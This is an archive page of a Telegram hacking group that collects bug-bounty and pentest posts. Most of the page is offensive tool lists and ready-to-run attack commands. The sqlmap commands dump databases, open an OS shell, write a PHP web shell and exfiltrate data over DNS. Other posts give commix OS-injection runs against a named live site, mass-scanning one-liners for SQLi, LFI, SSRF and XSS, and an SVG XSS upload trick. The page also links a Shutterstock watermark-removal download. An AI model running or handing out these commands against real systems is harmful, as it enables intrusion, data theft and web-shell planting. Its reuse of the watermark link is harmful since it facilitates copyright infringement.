ru
Feedback
Termux All Command [Telegram Group]

Termux All Command [Telegram Group]

Открыть в Telegram

Hello This Is Termux All Command Official Telegram Group. Here Share All Kind of Resourses. It is Also backup of Facebook Page Telegram Channel >> https://t.me/termuxcommandfull Facebook Page >> https://www.facebook.com/termux.command.full

Больше
1 186
Подписчики
+324 часа
+187 дней
+4830 день
Архив постов
Download shutterstock images without watermark Link :- Click here

𝗦𝘁𝗲𝗽 𝟭 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗕𝘂𝗴 𝗕𝗼𝘂𝗻𝘁𝘆 𝗖𝗼𝘂𝗿𝘀𝗲: Start here! This course will give you a solid foundation i
𝗦𝘁𝗲𝗽 𝟭 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗕𝘂𝗴 𝗕𝗼𝘂𝗻𝘁𝘆 𝗖𝗼𝘂𝗿𝘀𝗲: Start here! This course will give you a solid foundation in web app exploitation and sharpen your bug bounty skills. 𝗦𝘁𝗲𝗽 𝟮 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗪𝗲𝗯 𝗣𝗲𝗻𝘁𝗲𝘀𝘁 𝗔𝘀𝘀𝗼𝗰𝗶𝗮𝘁𝗲 (𝗣𝗪𝗣𝗔) 𝗘𝘅𝗮𝗺: Modeled after real-world scenarios, this exam will put your knowledge to the test and prepare you for the next level! 𝗦𝘁𝗲𝗽 𝟯 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗪𝗲𝗯 𝗛𝗮𝗰𝗸𝗶𝗻𝗴 𝗖𝗼𝘂𝗿𝘀𝗲: Once you’ve aced the PWPA, dive deeper into Practical Web Hacking, where you'll tackle vulnerabilities and learn remediation techniques. 𝗦𝘁𝗲𝗽 𝟰 - 𝗣𝗿𝗮𝗰𝘁𝗶𝗰𝗮𝗹 𝗔𝗣𝗜 𝗛𝗮𝗰𝗸𝗶𝗻𝗴 𝗖𝗼𝘂𝗿𝘀𝗲: Now, it’s time to focus on APIs! In this course, you’ll perform attacks against vulnerable API endpoints, prepping you for the final step. 𝗦𝘁𝗲𝗽 𝟱 - 𝗧𝗵𝗲 𝗣𝗪𝗣𝗣 𝗘𝘅𝗮𝗺: You’re ready for the big challenge—the PWPP Exam! Test everything you've learned with real-world scenarios and level up as a web app pentester.

Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings. Many file uploads allow SVGs and are prone to tampering.

🕸 Pentesting Websites 🕸 🎯 SqlInjection: ▪️https://github.com/Neohapsis/bbqsql ▪️https://github.com/libeclipse/blind-sql-bitshifting ▪️https://github.com/sqlmapproject/sqlmap ▪️https://github.com/HandsomeCam/Absinthe 🤜 Pentest Framework ▪️https://github.com/trustedsec/ptf ▪️https://github.com/georgiaw/Smartphone-Pentest-Framework ▪️https://github.com/dloss/python-pentest-tools ▪️https://github.com/enaqx/awesome-pentest ▪️https://github.com/PenturaLabs/Linux_Exploit_Suggester 🌐 Webapp ▪️http://www.websecurify.com/ ▪️https://www.netsparker.com/ ▪️http://www.acunetix.com/vulnerability-scanner/ ▪️https://www.rapid7.com/products/nexpose/ ▪️http://www.tenable.com/products/nessus-vulnerability-scanner ▪️https://secapps.com/ ▪️https://github.com/Arachni/arachni ▪️https://github.com/leebaird/discover/blob/master/discover.sh 💥 Web exploitation ▪️https://github.com/1N3/Sn1per WPScan ( https://wpscan.org/ ) Black box WordPress vulnerability scanner ( https://t.me/ViperZCrew/14001 ) ▪️https://github.com/RUB-NDS/WS-Attacker SQLmap - Automatic SQL injection and database takeover tool ( sqlmap.org ) weevely3 - Weaponized web shell ( https://github.com/epinna/weevely3 ) Wappalyzer - Wappalyzer uncovers the technologies used on websites ( https://github.com/AliasIO/Wappalyzer ) cms-explorer - CMS Explorer is designed to reveal the the specific modules, plugins, components and themes that various CMS driven web sites are running. ( https://github.com/FlorianHeigl/cms-explorer ) joomscan - Joomla CMS scanner ( https://github.com/rezasp/joomscan.git ) WhatWeb - Website Fingerprinter ( https://github.com/urbanadventurer/WhatWeb ) BlindElephant - Web Application Fingerprinter ( https://github.com/lokifer/BlindElephant )

🧉 Complete Bug Bounty tool List 🧉 🧉 dnscan https://github.com/rbsec/dnscan 🧉 Knockpy https://github.com/guelfoweb/knock 🧉 Sublist3r https://github.com/aboul3la/Sublist3r 🧉 massdns https://github.com/blechschmidt/massdns 🧉 nmap https://nmap.org 🧉 masscan https://github.com/robertdavidgraham/masscan 🧉 EyeWitness https://github.com/ChrisTruncer/EyeWitness 🧉 DirBuster https://sourceforge.net/projects/dirbuster/ 🧉 dirsearch https://github.com/maurosoria/dirsearch 🧉 Gitrob https://github.com/michenriksen/gitrob 🧉 git-secrets https://github.com/awslabs/git-secrets 🧉 sandcastle https://github.com/yasinS/sandcastle 🧉 bucket_finder https://digi.ninja/projects/bucket_finder.php 🧉 GoogD0rker https://github.com/ZephrFish/GoogD0rker/ 🧉 Wayback Machine https://web.archive.org 🧉 waybackurls https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050 🧉 Sn1per https://github.com/1N3/Sn1per/ 🧉 XRay https://github.com/evilsocket/xray 🧉 wfuzz https://github.com/xmendez/wfuzz/ 🧉 patator https://github.com/lanjelot/patator 🧉 datasploit https://github.com/DataSploit/datasploit 🧉 hydra https://github.com/vanhauser-thc/thc-hydra 🧉 changeme https://github.com/ztgrace/changeme 🧉 MobSF https://github.com/MobSF/Mobile-Security-Framework-MobSF/ 🧉 Apktool https://github.com/iBotPeaches/Apktool 🧉 dex2jar https://sourceforge.net/projects/dex2jar/ 🧉 sqlmap http://sqlmap.org/ 🧉 oxml_xxe https://github.com/BuffaloWill/oxml_xxe/ 🧉 XXE Injector https://github.com/enjoiz/XXEinjector 🧉 The JSON Web Token Toolkit https://github.com/ticarpi/jwt_tool 🧉 ground-control https://github.com/jobertabma/ground-control 🧉 ssrfDetector https://github.com/JacobReynolds/ssrfDetector 🧉 LFISuit https://github.com/D35m0nd142/LFISuite 🧉 GitTools https://github.com/internetwache/GitTools 🧉 dvcs-ripper https://github.com/kost/dvcs-ripper 🧉 tko-subs https://github.com/anshumanbh/tko-subs 🧉HostileSubBruteforcer https://github.com/nahamsec/HostileSubBruteforcer 🧉 Race the Web https://github.com/insp3ctre/race-the-web 🧉 ysoserial https://github.com/GoSecure/ysoserial 🧉 PHPGGC https://github.com/ambionics/phpggc 🧉 CORStest https://github.com/RUB-NDS/CORStest 🧉 retire-js https://github.com/RetireJS/retire.js 🧉 getsploit https://github.com/vulnersCom/getsploit 🧉 Findsploit https://github.com/1N3/Findsploit 🧉 bfac https://github.com/mazen160/bfac 🧉 WPScan https://wpscan.org/ 🧉 CMSMap https://github.com/Dionach/CMSmap 🧉 Amass https://github.com/OWASP/Amass ━━━━━━━━━━━━━ Share and support 🤟😉 @new_everything_free 😘

😍 Complete free Bug Bounty tool List for termux and kali linux 😍 ➖▪️ ▪️➖ dnscan https://github.com/rbsec/dnscan Knockpy https://github.com/guelfoweb/knock Sublist3r https://github.com/aboul3la/Sublist3r massdns https://github.com/blechschmidt/massdns nmap https://nmap.org masscan https://github.com/robertdavidgraham/masscan EyeWitness https://github.com/ChrisTruncer/EyeWitness DirBuster https://sourceforge.net/projects/dirbuster/ dirsearch https://github.com/maurosoria/dirsearch Gitrob https://github.com/michenriksen/gitrob git-secrets https://github.com/awslabs/git-secrets sandcastle https://github.com/yasinS/sandcastle bucket_finder https://digi.ninja/projects/bucket_finder.php GoogD0rker https://github.com/ZephrFish/GoogD0rker/ Wayback Machine https://web.archive.org waybackurls https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050 Sn1per https://github.com/1N3/Sn1per/ XRay https://github.com/evilsocket/xray wfuzz https://github.com/xmendez/wfuzz/ patator https://github.com/lanjelot/patator datasploit https://github.com/DataSploit/datasploit hydra https://github.com/vanhauser-thc/thc-hydra changeme https://github.com/ztgrace/changeme MobSF https://github.com/MobSF/Mobile-Security-Framework-MobSF/ Apktool https://github.com/iBotPeaches/Apktool dex2jar https://sourceforge.net/projects/dex2jar/ sqlmap http://sqlmap.org/ oxml_xxe https://github.com/BuffaloWill/oxml_xxe/ XXE Injector https://github.com/enjoiz/XXEinjector The JSON Web Token Toolkit https://github.com/ticarpi/jwt_tool ground-control https://github.com/jobertabma/ground-control ssrfDetector https://github.com/JacobReynolds/ssrfDetector LFISuit https://github.com/D35m0nd142/LFISuite GitTools https://github.com/internetwache/GitTools dvcs-ripper https://github.com/kost/dvcs-ripper tko-subs https://github.com/anshumanbh/tko-subs HostileSubBruteforcer https://github.com/nahamsec/HostileSubBruteforcer Race the Web https://github.com/insp3ctre/race-the-web ysoserial https://github.com/GoSecure/ysoserial PHPGGC https://github.com/ambionics/phpggc CORStest https://github.com/RUB-NDS/CORStest retire-js https://github.com/RetireJS/retire.js getsploit https://github.com/vulnersCom/getsploit Findsploit https://github.com/1N3/Findsploit bfac https://github.com/mazen160/bfac WPScan https://wpscan.org/ CMSMap https://github.com/Dionach/CMSmap Amass https://github.com/OWASP/Amass

⭐️⭐️⭐️⭐️⭐️ 🆂🆀🅻 🆃🆁🅸🅲🅺🆂 ⭐️⭐️⭐️⭐️⭐️ ✅ SQLi with Blind (True/False) - Time-Based Blind SQLi sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=T --time-sec=5 - Boolean-Based Blind SQLi sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=B --boolean-based ✅ SQLi with Error-Based sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=E --dbms=mysql --risk=3 --level=5 ✅ Union-Based SQL Injection sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --union-cols=1-5 -D database_name -T table_name -C column1,column2 --dump ✅ Out-of-Band (OOB) SQLi sqlmap -u 'http://127.0.0.1/page.php?id=1' --method=GET --data="id=1" --technique=U --dns-domain="example.com" --level=5 --risk=3 ✅ SQLi with WAF Evasion sqlmap -u 'http://127.0.0.1/page.php?id=1' --data="id=1" --tamper=between --level=5 --risk=3 ✅ SQLi Get Shell sqlmap -u 'http://127.0.0.1/page.php?id=1' --data="id=1" --os-shell --level=5 --risk=3 ✅ SQLi with vulnerability File Upload sqlmap -u 'http://127.0.0.1/page.php?id=1' --data="id=1" --file-write='/path/to/local/shell.php' --file-dest='/var/www/html/shell.php' ✅ Exfiltrate Data using DNS Tunneling sqlmap -u 'http://127.0.0.1/page.php?id=1' --dns-domain="mydomain.com" --level=5 --risk=3

⚠️ Commix Bug hunting command : ✅ OS Injection (Recommend) commix -u "https://hackerone.com" --crawl=2 --batch --skip-heuristics --force-ssl --random-agent --tamper=space2comment --os-cmd="ls/id/whoami" ✅ Commix + "SQLmap" commix -u "https://hackerone.com/" --batch --crawl=2 | grep "=" | tee urls.txt && sqlmap -m urls.txt --batch --random-agent ✅ Commix + "BurpSuite Monitoring" commix -u "https://hackerone.com/" --crawl=2 --batch --skip-heuristics --force-ssl --random-agent --tamper=space2comment --os-cmd="id/id/whoami" --proxy="http://127.0.0.1:8080"

🔊 100 tools every Web Pentester must know Burp Suite OWASP ZAP Metasploit Framework sqlmap Nmap Dirbuster WPScan Arachni BeEF Hydra XSSer Sqlninja Cain and Abel Netcat THC Hydra Nikto Skipfish Vega sqlsus John the Ripper THC-SSL-DOS Sublist3r Wfuzz Shodan Fiddler sqlmapgui Wapiti Yersinia Tamper Data WebScarab Paros SQL Inject Me Acunetix Nessus Grendel-Scan Ratproxy IronWASP Websecurify Zed Attack Proxy Zenmap NoSQLMap ODAT X-Forwarded-For Spoofer WebSlayer w3af Maltego WPScan Desktop WP-Scan Vulnerability Database BruteForcer JoomScan Joomfish Scanner WP Security Audit Log JoomlaScan CMSmap Vega Vulnerability Scanner Skipfish Web Application Security Scanner Grabber DAVScan bbqsql Scrawlr Cewl Wapiti Web Application Vulnerability Scanner XssPy RIPS Zenmap WPScan Arachni OWASP ZAP Sqlmap Nessus Kali Linux Acunetix Web Vulnerability Scanner Nmap Vega Metasploit Framework Hydra Burp Suite Nikto Zed Attack Proxy Grendel-Scan Skipfish Arachni Wfuzz Dirbuster Sqlninja NoSQLMap OWASP Mantra WP-Scanner XSSer Metagoofil Brutus RainbowCrack THC-Hydra Medusa THC-SSL-DOS OpenVAS WP-Scan Vulnerability Database WPScan Desktop LFI Suite XssPy ━━━━━━━━━━━━━━━

👨‍💻 BUG BOUNTY WITH ONE-LINE BASH SCRIPTS 🕵️ 𝐗𝐒𝐒 ⪼ cat targets.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @ cat targets.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")" 𝐒𝐐𝐋𝐢 ⪼ httpx -l targets.txt -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' 𝐒𝐒𝐑𝐅 ⪼ findomain -t http://target.com -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace 𝘩𝘵𝘵𝘱://𝘠𝘖𝘜𝘙.𝘣𝘶𝘳𝘱𝘤𝘰𝘭𝘭𝘢𝘣𝘰𝘳𝘢𝘵𝘰𝘳.𝘯𝘦𝘵 𝐋𝐅𝐈 ⪼ gau http://vuln.target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' 𝐎𝐏𝐄𝐍 𝐑𝐄𝐃𝐈𝐑𝐄𝐂𝐓 ⪼ gau http://vuln.target.com | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"' 𝐏𝐑𝐎𝐓𝐎𝐓𝐘𝐏𝐄 𝐏𝐎𝐋𝐋𝐔𝐓𝐈𝐎𝐍 ⪼ subfinder -d http://target.com | httpx -silent | sed 's/$/\/?proto[testparam]=exploit\//' | page-fetch -j 'window.testparam=="exploit"?"[VULN]":"[NOT]"' | sed "s/(//g"|sed"s/)//g" | sed "s/JS//g" | grep "VULN" 𝐂𝐎𝐑𝐒 ⪼ gau http://vuln.target.com | while read url;do target=$(curl -s -I -H "Origin: https://evvil.com" -X GET $url) | if grep 'https://evvil.com'; then [Potentional CORS Found]echo $url;else echo Nothing on "$url";fi;done 𝐄𝐱𝐭𝐫𝐚𝐜𝐭 .𝐣𝐬 ⪼ echo http://target.com | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1 assetfinder http://vuln.target.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew 𝐄𝐱𝐭𝐫𝐚𝐜𝐭 𝐔𝐑𝐋𝐬 𝐟𝐫𝐨𝐦 𝐜𝐨𝐦𝐦𝐞𝐧𝐭 ⪼ cat targets.txt | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' 𝐃𝐮𝐦𝐩 𝐈𝐧-𝐬𝐜𝐨𝐩𝐞 𝐀𝐬𝐬𝐞𝐭𝐬 𝐟𝐫𝐨𝐦 𝐇𝐚𝐜𝐤𝐞𝐫𝐎𝐧𝐞 ⪼ curl -sL 𝘩𝘵𝘵𝘱𝘴://𝘨𝘪𝘵𝘩𝘶𝘣.𝘤𝘰𝘮/𝘢𝘳𝘬𝘢𝘥𝘪𝘺𝘵/𝘣𝘰𝘶𝘯𝘵𝘺-𝘵𝘢𝘳𝘨𝘦𝘵𝘴-𝘥𝘢𝘵𝘢/𝘣𝘭𝘰𝘣/𝘮𝘢𝘴𝘵𝘦𝘳/𝘥𝘢𝘵𝘢/𝘩𝘢𝘤𝘬𝘦𝘳𝘰𝘯𝘦_𝘥𝘢𝘵𝘢.𝘫𝘴𝘰𝘯?𝘳𝘢𝘸=𝘵𝘳𝘶𝘦 | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] 𝐅𝐢𝐧𝐝 𝐥𝐢𝐯𝐞 𝐡𝐨𝐬𝐭/𝐝𝐨𝐦𝐚𝐢𝐧/𝐚𝐬𝐬𝐞𝐭𝐬 ⪼ subfinder -d http://vuln.target.com -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u 𝐒𝐜𝐫𝐞𝐞𝐧𝐬𝐡𝐨𝐭 ⪼ assetfinder -subs-only http://target.com | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @'

🚨 Essential Mind Maps for Bug Hunters! Boost your bug bounty skills with Mind-Maps Repository by Imran Parray. Topics include: Bug Hunting Methodology 2FA & OAuth Testing SSRF, Server-side Issues, and more! 🔗 Explore here: https://lnkd.in/g-_jwEGM

Subdosec - Subdomain takeover scanner CLI : https://lnkd.in/gmW-nth3 Web Based : https://lnkd.in/gxn2AmHA

OSINT tool for searching people's digital footprint and leaked passwords across various social networks, written in Go. : https://github.com/ibnaleem/gosearch

🚀 LINUX BASIC COMMANDS 🚨 File and Directory Management: 1. ls: List files and directories. 2. cd: Change directory. 3. pwd: Display the current directory. 4. mkdir: Create a new directory. 5. rm: Remove files or directories. 6. cp: Copy files or directories. 7. mv: Move or rename files. 8. touch: Create an empty file. 9. tree: Display directory structure. File Viewing and Editing: 10. cat: Display file content. 11. less / more: View files page by page. 12. head: Show the first 10 lines. 13. tail: Show the last 10 lines. 14. nano: A simple text editor. 15. vi / vim: An advanced text editor. Search Operations: 16. find: Locate files and directories. 17. grep: Search within files. 18. locate: Quickly find files using a database. 19. which: Locate a command’s path. Disk and File System Management: 20. df: Display disk space usage. 21. du: Show directory or file size. 22. mount / umount: Mount or unmount file systems. 23. lsblk: List all block devices. 24. fsck: Check and repair file systems. Process and System Monitoring: 25. ps: Display running processes. 26. top: Monitor system processes. 27. htop: Interactive process manager. 28. kill: Terminate a process. 29. uptime: Show system uptime. 30. free: Check memory usage. Networking Commands: 31. ping: Check connectivity. 32. curl: Transfer data to/from servers. 33. wget: Download files from the internet. 34. ifconfig / ip: View or configure network interfaces. 35. netstat: Show network statistics. 36. ssh: Remote access to servers. 37. SCP: Securely Copy Files Between Systems Permissions and Ownership: 38. chmod: Modify file permissions 39. chown: Change file owner/group 40. umask: Set default permissions Archiving and Compression: 41. tar: Archive and compress files 42. gzip/gunzip: Compress and decompress files 43. zip/unzip: Handle zip files System Information: 44. uname -a: Show system information 45. hostname: Display system hostname 46. whoami: Current user 47. id: Show user and group IDs 48. dmesg: Kernel log messages 49. lscpu: CPU architecture information 50. lsusb: List USB devices 51. lspci: Show PCI devices hashtag#linux hashtag#commands hashtag#serversupport hashtag#supportexecutive hashtag#monitoring

Finally, let's run sqlmap on all identified potentially vulnerable URLs. findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent hashtag#web hashtag#sqli

now its become so easy for making notes from any youtube video just type study.lol/ in front of any youtube video like study.lol/https://youtubevideolink it will give u all video summary and amazing question answer in flashcards try it(not a promo i just found it  yesterday and found it useful)

🛠️ 20 Very Advanced Information Gathering Tools 🛠️ 1. Nmap ➤ Network Scanner 🔗 github.com/nmap/nmap 2. Maltego ➤ Visual Link Analysis 🔗 maltego.com 3. Shodan ➤ IoT Search Engine 🔗 github.com/m4ll0k/Shodanfy.py 4. Recon-ng ➤ Web Reconnaissance Framework 🔗 github.com/lanmaster53/recon-ng 5. Spiderfoot ➤ OSINT Automation Tool 🔗 github.com/smicallef/spiderfoot 6. theHarvester ➤ Email and Subdomain Gatherer 🔗 github.com/laramies/theHarvester 7. Amass ➤ Network Mapping of Attack Surfaces 🔗 github.com/OWASP/Amass 8. RED HAWK ➤ All-In-One Scanning Tool 🔗 github.com/Tuhinshubhra/RED_HAWK 9. ReconSpider ➤ Multi-purpose Gathering Tool 🔗 github.com/bhavsec/reconspider 10. OSINT Framework ➤ Comprehensive Information Gathering Collection 🔗 github.com/lockfale/OSINT-Framework 11. Infoga ➤ Email OSINT Gatherer 🔗 github.com/m4ll0k/Infoga 12. Striker ➤ Offensive Information Gathering Tool 🔗 github.com/s0md3v/Striker 13. SecretFinder ➤ API Key and Secret Finder 🔗 github.com/m4ll0k/SecretFinder 14. Xerosploit ➤ Penetration Testing Toolkit 🔗 github.com/LionSec/xerosploit 15. FOCA ➤ Metadata Analyzer 🔗 github.com/ElevenPaths/FOCA 16. ReconDog ➤ Reconnaissance Swiss Army Knife 🔗 github.com/s0md3v/ReconDog 17. Metagoofil ➤ Metadata Extractor 🔗 github.com/laramies/metagoofil 18. Dracnmap ➤ Nmap Script Wrapper 🔗 github.com/Screetsec/Dracnmap 19. Rang3r ➤ Multi-threaded Port Scanner 🔗 github.com/floriankunushevci/rang3r 20. Breacher ➤ Admin Panel Finder 🔗 github.com/s0md3v/Breacher 🚀 Stay tuned for more advanced tools & guides 🔔 Follow us for daily updates on cybersecurity 👥 Join our channel for more insights! https://t.me/teammatrixs

Website Security       Urlscan.io - URL and website scanner        →https://urlscan.io/ VirusTotal URL Search VirusTotal        →https://www.virustotal.com/gui/home/url Threat Intelligence Platform        →https://threatintelligenceplatform.com/ Is This Website Safe        →https://safeweb.norton.com/ Safe Browsing site status        →https://transparencyreport.google.com/safe-browsing/search?hl=en WHOIS IP Lookup Tool        →https://www.ultratools.com/tools/ipWhoisLookupResult Find Website IP Address        →https://www.ipvoid.com/find-website-ip/ IP Address Blacklist Check        →https://www.ipvoid.com/ip-blacklist-check/ Check The Website’s SSL Certificate See Your Entire Attack Surface in Real-Time. Get a current view of all of your organization's assets so you can proactively prevent targeted attacks and investigate suspicious activity.        →https://censys.io/ipv4 SpiderFoot        →https://www.spiderfoot.net/ Tools for Looking up Malicious Websites        →https://zeltser.com/lookup-malicious-websites/ How to Tell if a Website is Dangerous        →https://www.secjuice.com/how-to-tell-if-a-website-is-dangerous/ Malicious URL Scanner        →https://www.ipqualityscore.com/threat-feeds/malicious-url-scanner Threatlog - Malicious Domains Database Database of malicious domains, fraudulent and phishing domains, malware domains database, threat intelligence feeds, detect potentially malicious domains.        →https://www.threatlog.com/ Opswat - MetaDefender Cloud Cloud-based Deep CDR, Multiscanning, Sandbox Dynamic Analysis, Hash and IP-Domain reputation with options for personal and commercial users.        →https://metadefender.opswat.com/

Discovered Information Disclosure Vulnerability via Directory and File Disclosure 🔍 ~Tip: Add the file /unstable/ to your wordlist, and you might discover some juicy data. 💡 Enjoy! 🚀